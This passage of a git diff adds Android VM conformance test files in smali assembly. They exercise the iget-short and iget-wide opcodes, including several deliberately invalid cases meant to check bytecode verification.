+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_8;->i1N:Ljava/lang/Object;
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali
new file mode 100644
index 0000000..d783c73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali

@@ -0,0 +1,48 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_1.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+.field protected  p1:S
+.field private  pvt1:S
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->i1:S
+
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->p1:S
+
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->pvt1:S
+       
+       
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali
new file mode 100644
index 0000000..c49bf06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_11.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_11;
+.super  Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->p1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali
new file mode 100644
index 0000000..281d7bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_12.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_12;
+.super  Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->pvt1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali
new file mode 100644
index 0000000..82f896e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_13.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_13;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali
new file mode 100644
index 0000000..dfb7fc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_15.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_15;
+.super  Ljava/lang/Object;
+
+.field public i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_15;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali
new file mode 100644
index 0000000..e66cf39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_16.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali
new file mode 100644
index 0000000..81e2780
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_17.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_17;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali
new file mode 100644
index 0000000..010639b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_18.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_18;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali
new file mode 100644
index 0000000..92892bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_19.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali
new file mode 100644
index 0000000..44f8259
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_20.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali
new file mode 100644
index 0000000..716542e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_21.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/TestStubs;-><init>()V
+
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubProtectedField:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali
new file mode 100644
index 0000000..f1b86c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_3.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v3, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_3;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali
new file mode 100644
index 0000000..fba2d2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_30.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_30;
+    iget-short v1, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_30;->st_i1:S
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali
new file mode 100644
index 0000000..cf34bf9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_31.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_31;->st_i1:S
+    return v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali
new file mode 100644
index 0000000..4906be2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_35.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 2
+       iget-short v0, v1, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubProtectedField:S
+       return v0
+.end method
+
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali
new file mode 100644
index 0000000..3ba12f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_4.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_4;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali
new file mode 100644
index 0000000..dfaf31c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_5.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_5;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali
new file mode 100644
index 0000000..065e081
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_6.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/TestStubs;-><init>()V
+
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubField:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali
new file mode 100644
index 0000000..f74895e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_7.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_7no_class;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali
new file mode 100644
index 0000000..ac2d82a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_8.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_8;->i1N:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali
new file mode 100644
index 0000000..8cf0373
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_9.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       const v0, 0
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_9;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali
new file mode 100644
index 0000000..66615af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_11.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_11;
+.super  Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->p1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_12.smali
new file mode 100644
index 0000000..ed406ac
--- /dev/null
